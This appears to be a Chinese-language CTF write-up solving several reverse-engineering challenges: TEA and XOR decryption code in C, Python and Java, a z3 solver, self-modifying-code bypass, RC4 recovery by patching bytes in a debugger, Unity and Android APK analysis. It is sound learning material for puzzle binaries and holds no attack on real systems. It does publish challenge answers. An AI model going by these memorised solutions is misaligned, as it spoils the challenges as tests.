uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 0x31415927;
for (i = 0; i < num_rounds; i++) {
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ ((sum + key[ ((sum >> 11) & 3)])^sum);
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[(sum & 3)]);
sum += delta;
}
v[0] = v0; v[1] = v1;
printf("加密后的数据:%u %u\n", v[0], v[1]);
}

void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 0x31415927, sum = delta * num_rounds;
for (i = 0; i < num_rounds; i++) {
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[(sum & 3)]);
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ ((sum + key[((sum >> 11) & 3)]) ^ sum);
}
v[0] = v0; v[1] = v1;
printf("解密后的数据:%u %u\n", v[0], v[1]);
}

int main()
{
uint32_t v[38] = { 0x9AF9464B, 0xC417B89E, 0xB217A713, 0xC93BA9E8, 0x94F3E44E, 0xB5CC2AB5, 0x4451E42C, 0x7A8A289A,
0x53C8D008, 0x6E117B49, 0x9BFFD794, 0x5EFF2DF9, 0x17E72531, 0xDFBD9979, 0x8F871B3A, 0x73E8C5AC,
0xB28670A6, 0x5AF6A369, 0x2CF7DA24, 0x347B66AF, 0xB9C84D60, 0x911E912F, 0xBD5A2F9B, 0xCB96733A,
0xC59968BE, 0xA00013E9, 0xC12F4EA4, 0xDE863A10, 0xA0C4D594, 0x4380983C, 0x7E2F7648, 0xE54DDC89,
0x3F27A690, 0xB58D3199, 0x604AE517, 0x9C903984, 0xF4E04481, 0x3CF4EDFF };
uint32_t flag[2] = {0x0,0x0};
uint32_t pqw[2] = { 'S','}'};
uint32_t const k[4] = { 0x00000020, 0x0000001B, 0x00000027, 0x0000002C };
unsigned int i,r = 54;//num_rounds建议取值为32
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
//printf("加密前原始数据:%u %u\n", v[0],v[1]);
//encipher(r, v, k);
//printf("加密后的数据:%u %u\n", v[0], v[1]);
encipher(r, pqw, k);
for (i = 0; i < 38; i+=2)
{
flag[0] = v[i];
flag[1] = v[i + 1];
decipher(r, flag, k);

}
return 0;
}

经过测试,这样直接套用ida里的代码也是可以的

1
2
3
4
5
6
7
for (i = 0; i < num_rounds; i++) {
v1 += sum ^ (*(key + 1 * ((sum >> 11) & 3)) + sum) ^ (v0 + ((v0 >> 5) ^ (16 * v0)));
v0 += (*(key + 1 * (sum & 3)) + sum) ^ (v1 + ((v1 >> 5) ^ (16 * v1)));
sum += 0x31415927;
}
v[0] = v0; v[1] = v1;
printf("加密后的数据:%u %u\n", v[0], v[1]);

浪漫至死不渝

已知加密后的数据以及密钥,直接爆破就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdint.h>
#include<string.h>

int main()
{
int enc[]={ 125, 130, 131, 122, 117, 110, 123, 125, 130, 131, 122, 117, 110, 123, 99, 99, 99, 99 };
int key[] = { '5','2','0','1','3','1','4','W','X','H','N' };
int i, j, k;
for (i = 14; i < 18; i++)
{
for (j = 33; j < 126; j++)
{
k = j;
k = j ^ key[i - 7];
k += 99;
if (k == enc[i])
{
printf("%c ", j);
}
}
}


return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdint.h>
#include<string.h>

int main()
{
int enc[]={ 125, 130, 131, 122, 117, 110, 123, 125, 130, 131, 122, 117, 110, 123, 99, 99, 99, 99 };
int key[] = { '5','2','0','1','3','1','4','W','X','H','N' };
int i, j, k;
for (i = 0; i < 14; i++)
{
for (j = 33; j < 126; j++)
{
k = j;
k = j ^ key[i % 7];
k += 10;
if (k == enc[i])
{
printf("%c ", j);
}
}
}


return 0;
}

easymath

做不了一点,z3好难啊

image-20231127141848284

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from z3 import *

solver = Solver()


flag = [BitVec('f%d' % i, 8) for i in range(26)]

finish_key = [1, 0, 0, 0, 0,0, 1, 0, 0, 0,0, 0, 1, 0, 0,0, 0, 0, 1, 0,0, 0, 0, 0, 1]

matrix = [0x12, 0x1D, 0x10, 0x13, 0x1B, 0x08, 0x1F, 0x08, 0x17, 0x1E, 0x1D, 0x03, 0x1C, 0x0A, 0x15, 0x12, 0x1D, 0x08,
0x10, 0x1C, 0x0B, 0x1E, 0x07, 0x14, 0x07]

for i in range(5):
for j in range(5):
q = 0
for k in range(5):
q = q + flag[5 * i + k] * matrix[5 * k + j]
q = q & 0x1F
solver.add(finish_key[i*5+j] == q)


if solver.check() == sat:
m = solver.model()
for i in range(25):
print(m[flag[i]],end=' ')
## 11 19 9 5 12 14 6 22 27 16 26 28 29 29 11 4 31 22 13 8 27 29 10 16 16

求出了题目中last的值,那么对应加密

通过动调,输入01234_asdzxcpoityumnbAOZWXGMY,找到他加密后字母索引

image-20231127141831596

flag:是char类型

01234_asdzxcpoityumnbAOZWXGMY

image-20231127141820868

last:是dword类型

0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08
0x09 0x0A 0x0B 0x0C 0x0D 0x0E 0x10 0x13
0x16 0x1A 0x1B 0x1C 0x1D 0x1F 0x20 0x32
0x33 0x34 0x35 0x36 0x37

image-20231127141804650

建立一个字典,然后对应着求出的last进行索引即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
a = '01234_asdzxcpoityumnbAOZWXGMY'
a = list(a)

b = [0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,
0x09,0x0A,0x0B,0x0C,0x0D,0x0E,0x10,0x13,
0x16,0x1A,0x1B,0x1C,0x1D,0x1F,0x20,0x32,
0x33,0x34,0x35,0x36,0x37]

c={}

for i in range(len(a)):
c[b[i]] = a[i]
flag = [11, 19, 9, 5, 12, 14, 6, 22, 27, 16, 26, 28, 29, 29, 11, 4, 31, 22, 13, 8, 27, 29, 10, 16, 16]

for i in range(len(flag)):
print(c[flag[i]],end='')

mySelf

对比着他的算法,抄过来就可以了,一开始是个SMC,我们需要绕过一下,然后恢复函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <stdint.h>

/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */

void encipher(unsigned int num_rounds, uint32_t v[2]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], sum = 0, delta = 1640531527;
for (i = 0; i < num_rounds; i++) {
sum -= 1640531527;
v1 += ((v0 >> 5) + 2) ^ ((16 * v0) + 2) ^ (sum + v0);
v0 += ((v1 >> 5) + 4) ^ ((16 * v1) + 3) ^ (sum + v1);
}
v[0] = v0; v[1] = v1;
printf("加密后的数据:%u %u\n", v[0], v[1]);
}

void decipher(unsigned int num_rounds, uint32_t v[2]) {
unsigned int v0 = v[0], v1 = v[1], delta = 1640531527;
unsigned int i, sum = -(1640531527 * 32);
for (i = 0; i < 32; i++) {

v1 -= ((v0 >> 5) + 4) ^ ((16 * v0) + 3) ^ (sum + v0);
v0 -= ((v1 >> 5) + 2) ^ ((16 * v1) + 2) ^ (sum + v1);
sum += 1640531527;
}
v[0] = v0; v[1] = v1;
printf("解密后的数据:%x %x\n", v[0], v[1]);
}

int main()
{
uint32_t v[8] = { 0xBDBDF9F0, 0xE26194C4, 0x80799125, 0x1F0FC219, 0xEB6A1815, 0x84F572C5, 0x40CC3A85, 0xD2A32ABB };
uint32_t flag[2] = { 0x0,0x0 };
uint32_t pqw[2] = { 'S','Y' };
uint32_t const k[4] = { 0x00000020, 0x0000001B, 0x00000027, 0x0000002C };
unsigned int i, r = 32;//num_rounds建议取值为32
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
//printf("加密前原始数据:%u %u\n", v[0],v[1]);
//encipher(r, v, k);
//printf("加密后的数据:%u %u\n", v[0], v[1]);

for (i = 0; i < 8; i += 2)
{
flag[0] = v[i];
flag[1] = v[i + 1];
// encipher(r, flag);
decipher(r, flag);

}
printf("%c", 2157182970);
return 0;
}

寻找初音未来

动态调试调用他自己的rc4加密,获得flag

go的题目,分析比较困难,依旧只看关键的函数,看到一个随机数的函数,一个rc4加密,分析代码可知有两个输入,第一个输入会放入当成seed,生成一个伪随机的数据,然后当作rc4的密钥加密数据,最后得到他提供给我们的数据,初音的颜色可以从网上得知是39C5BB,第二个输入的是rc4要加密的数据,我们通过动调的方式,把我们第二个输入改成密文,就可以直接获得flag

image-20231127141744174

这里我是点击的v16找到的我们的输入数据

image-20231127141716391

在数据中右击选择patching - changes bytes 然后换成我们的密文

image-20231127141705396

后面的代码就是解密那个jpg的,没什么用,但可以执行一下试一下

image-20231127141650243

是男人就来扎针

学习一下unity的逆向

dll dolownd

[dnSpy调试unity游戏 反编译unity游戏_dnspy mono.dll下载-CSDN博客](https://blog.csdn.net/jumpe_17/article/details/115468065#:~:text=1.简单使用(查看unity游戏源码) 1.1 打开dnspy 1.2,找到游戏位置 一般在游戏目录下的 游戏名_Data%2FManaged下 1.3 将Assembly-CSharp.dll拖入dnspy中)

分为unity引擎和c引擎,只要会调试就能直接出

image-20231127141631988

image-20231127141622747

ezandroid

java层的tea加密,一开始给我看蒙了,我们直接用jeb反编译apk

分析代码,我们已知他首先调用了一个b类,定义了tea加密的key,首先在前面,读取我们输入框中的数据,然后进行分析是否是24个字节,如果不是就填充至够24,然后奇数和偶数进行定位,分成两个字符串,奇数字符串直接传入后续的mainactivity2中,第二个字符串进行下面的tea加密操作

image-20231127141600370

在这一段,他进行了int - byte的操作,要记住java中有byte和int的区别,这样是方便后续进行tea加密,tea加密完成后他又会把byte转换成int型,但后续又会强制转换成byte,其实这些转换就没有什么意义

[java中int与byte相互转换_java int]转 byte[]-CSDN博客

image-20231127141539949

java的示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class Main {
public static void main(String[] args) {
byte[] encbyte = {-63,-90,-9,-7,-70,76,78,23,-14,-123,34,123};
int[] encint = new int[encbyte.length / 4];

for (int i = 0; i < encbyte.length; i += 4) {
byte[] temp = new byte[4];
System.arraycopy(encbyte, i, temp, 0, 4);
encint[i / 4] = ByteArrayToInt(temp);
}

// 打印转换后的整数数组
for (int i : encint) {
System.out.println(i);
}
}

// 将低字节在前转为int,高字节在后的byte数组
public static int ByteArrayToInt(byte[] bArr) {
if (bArr.length != 4) {
return -1;
}
return (int) ((((bArr[3] & 0xff) << 24) | ((bArr[2] & 0xff) << 16) | ((bArr[1] & 0xff) << 8) | ((bArr[0] & 0xff) << 0)));
}
}

到下面就是典型的tea加密,但一开始我是懵逼的,tea加密的典型特征就是key是4个32位无符号整形,但是他有负数,然后上网查询得知是Java的tea加密,他会在中途转换成无符号型,然后就是顺序问题,看好前面v9 - v11的赋值顺序以及后门对于密文的赋值顺序,v10充当了两次tea加密中的v1,所以第一解密v10后要继续进行用tea解密v9,记得观察sum等值的变化,以及密文的传输的顺序

image-20231127141525459

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
public class Tea {
//加密
public byte[] encrypt(byte[] content, int offset, int[] key, int times){//times为加密轮数
int[] tempInt = byteToInt(content, offset);
int y = tempInt[0], z = tempInt[1], sum = 0, i;
int delta=0x9e3779b9; //这是算法标准给的值
int a = key[0], b = key[1], c = key[2], d = key[3];

for ( i = 0; i < times; i++) {
sum += delta;
y += ((z<<4) + a) ^ (z + sum) ^ ((z>>5) + b);
z += ((y<<4) + c) ^ (y + sum) ^ ((y>>5) + d);
}
tempInt[0]=y;
tempInt[1]=z;
return intToByte(tempInt, 0);
}
//解密
public byte[] decrypt(byte[] encryptContent, int offset, int[] key, int times){
int[] tempInt = byteToInt(encryptContent, offset);
int y = tempInt[0], z = tempInt[1], sum = -(1640531527*32), i;
int delta=1640531527; //这是算法标准给的值
int a = key[0], b = key[1], c = key[2], d = key[3];

for(i = 0; i < times; i++) {
z -= ((y<<4) + c) ^ (y + sum) ^ ((y>>5) + d);
y -= ((z<<4) + a) ^ (z + sum) ^ ((z>>5) + b);
sum += delta;
}
tempInt[0] = y;
tempInt[1] = z;
// return tempInt;

return intToByte(tempInt, 0);
}
//byte[]型数据转成int[]型数据
private int[] byteToInt(byte[] content, int offset){

int[] result = new int[content.length >> 2]; //除以2的n次方 == 右移n位 即 content.length / 4 == content.length >> 2
for(int i = 0, j = offset; j < content.length; i++, j += 4){
result[i] = transform(content[j + 3]) | transform(content[j + 2]) << 8 |
transform(content[j + 1]) << 16 | (int)content[j] << 24;
}
return result;

}
//int[]型数据转成byte[]型数据
private byte[] intToByte(int[] content, int offset){
byte[] result = new byte[content.length << 2]; //乘以2的n次方 == 左移n位 即 content.length * 4 == content.length << 2
for(int i = 0, j = offset; j < result.length; i++, j += 4){
result[j + 3] = (byte)(content[i] & 0xff);
result[j + 2] = (byte)((content[i] >> 8) & 0xff);
result[j + 1] = (byte)((content[i] >> 16) & 0xff);
result[j] = (byte)((content[i] >> 24) & 0xff);
}
return result;
}
//若某字节被解释成负的则需将其转成无符号正数
private static int transform(byte temp){
int tempInt = (int)temp;
if(tempInt < 0){
tempInt += 256;
}
return tempInt;
}

// 测试代码如下:
public static void main(String[] args){

int[] KEY = new int[]{//加密解密所用的KEY
2023708229, -158607964, -2120859654, 1167043672
};
Tea tea = new Tea();

byte[] info = new byte[]{

-91, -8, -110, -55, -6 , 114 , -91 , -118
};
System.out.print("原数据:");
for(byte i : info)
System.out.print(i + " ");
System.out.println();
byte[] decryptInfo = tea.decrypt(info, 0, KEY, 32);
System.out.print("解密后的数据:");
for(byte i : decryptInfo)
System.out.print(i + " ");


// byte[] secretInfo = tea.encrypt(info, 0, KEY, 32);
// System.out.print("加密后的数据:");
// for(byte i : secretInfo)
// System.out.print(i + " ");
// System.out.println();

// byte[] decryptInfo = tea.decrypt(secretInfo, 0, KEY, 32);
// System.out.print("解密后的数据:");
// for(byte i : decryptInfo)
// System.out.print(i + " ");

}
}

84,48,86,116,51,51,84,110,48,105,116,114

最后得到了结果,我们可以提前去手机里实验一下答案对不对,发现他跳转到了mainactivity2,他在最后会判断他与我们的mainactivity1中的加密的密文进行比较,比较成功才会开启mainactivity2

image-20231127141459595

image-20231127141447320

接下来我们就可以把目光放在mainactivity2中,分析代码就是异或,但是要注意,我们不要拿我们逆向完成后的结果去异或,卡了很久

image-20231127141349138

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# a = [-91, -8, -110, -55, -49, 75, 115, 13, -76, -113, 102, 80]
#
# b = [-107, -106, -95, -115, -119, 127, 26, 121, -62, -20, 86, 9]
#
# c = ''
# for i in range(len(a)):
# c = a[i] ^ b[i]
# print(chr(c),end='')

b = [84,48,86,116,51,51,84,110,48,105,116,114]

c = '0n3DF4itvc0Y'

flag = ""

for i in range(len(b)):
flag += chr(b[i])
flag += c[i]

print(flag)